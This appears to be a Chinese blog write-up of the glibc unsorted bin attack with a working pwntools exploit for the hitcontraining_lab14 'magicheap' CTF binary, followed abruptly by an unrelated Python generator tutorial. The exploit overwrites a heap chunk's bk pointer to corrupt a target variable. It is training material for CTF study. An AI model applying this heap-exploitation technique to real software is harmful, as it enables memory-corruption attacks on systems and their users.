2020年4月

0x00 原理

Unsorted_bin_attack 是一种比较基础的堆利用手法,常用于可以通过溢出,uaf或其它一些手法控制Unsorted_bin中末尾块(unsorted_arena->bk)的bk指针域的情形。

unsorted_bin是双链表结构,arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。

利用点在于尾部取出的过程,先来看glibc中相关的源码:

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

可以发现,取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为arena的地址。

上一个拙劣的图:

看似被覆盖的值不受控制,但是可以达到很对目的,比如:

  • 修改某些判断条件中的常数
  • 修改循环的计数变量
  • 修改glibc中max_fastbin_size的大小,使得可以创建更大的fastbin,为下一步fastbin attack做准备
  • others...

0x01 举例:hitcontraining_lab14

题目内容就不放了,可以自己找。主要还是分配,编辑,释放三大功能,其中分配和编辑的大小都是自定义的,没有严格检查,所以存在堆溢出。利用溢出直接修改unsorted_chunk的bk域便可以实现unsorted_bin_attack。

exp:

from pwn import *

p = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("./libc.so.6")

magic_addr = 0x6020C0

context.log_level = "debug"

def create(size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())  
    p.recvuntil(b"Content of heap:")
    p.send(content)
    
def edit(index:int,size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)
    
def delete(index:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    
def exp():
    create(0x10,b"aaaa") #idx0
    create(0x80,b"aaaa") #idx1
    create(0x10,b"aaaa") #idx2
    delete(1)
    #gdb.attach(p)
    edit(0,0x30,b"a"*0x10+p64(0)+p64(0x91)+b"a"*8+p64(magic_addr-0x10))
    gdb.attach(p)
    create(0x80,b"bbbb") #idx1
    p.recvuntil(b"Your choice :")
    p.sendline(b"4869")
    p.recvall()
    pass
    
if __name__=="__main__":
    exp()

生成器是进入python更高层次一个很重要的概念,这里用一个小例子简单记录一下

0x00 什么是生成器

借用一个生成斐波那契数列的python代码进行解释,这是一般的写法:

def fab(max): 
    n, a, b = 0, 0, 1 
    L = [] 
    while n < max: 
        L.append(b) 
        a, b = b, a + b 
        n = n + 1 
    return L
 
for n in fab(5): 
    print n

这个写法定义了一个函数,把传入的参数作为斐波那契数列的长度,将整个数列运算完成之后,返回一个列表。这样做虽然没错,但是我们可以发现,随着传入的参数变大,数列占用内存的体积也将慢慢变大。

于是为了提高效率,出现了这么一种思想,既然数列是有规律的,那么可不可以在需要下一个值的时候再进行运算,在不需要的时候就停止计算,以此可以保证内存占用始终为常数。

这就涉及到了python中 "协程" 的概念。总所周知,在一个线程中子程序的调用建立在栈的基础上,携程简而言之就是可以在同一个线程中,在一个子程序未执行完毕的情况下去执行另一个子函数。这种执行方式不需要复杂的锁,所以可以提高多线程的效率。

回到正题,python提供了一种叫生成器的东西,只要在定义函数时使用yield “替代” (并不是简单的替代)return 即可获得一个生成器。

0x01 生成器函数的工作原理

def func(a):
    ......
    yield x
    ......

当调用这个函数的时候会创建一个generator对象,这个对象具有next()方法。每执行一次next()方法,子程序会把语句执行到yield的位置,返回一个值,然后被挂起,转而继续执行原来的子程序。而当再次调用next()方法时会接着yield往下执行,直到抛出 StopIteration,也就是终止迭代。

0x02 示例

同样还是生成斐波那契数列,用生成器的方法:

from inspect import isgeneratorfunction

def func(max:int=9):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a+b
        n+=1

print(isgeneratorfunction(func))

a = func(10)
print(type(a))
for i in a:
    print(i)

注意isgeneratorfunction 用于检测一个函数是不是生成器函数

这里使用a=func是实例化的出了一个generator对象,实际上每次实例化得到的对象都是不一样的,它们互不影响,也就是面向对象编程的特点。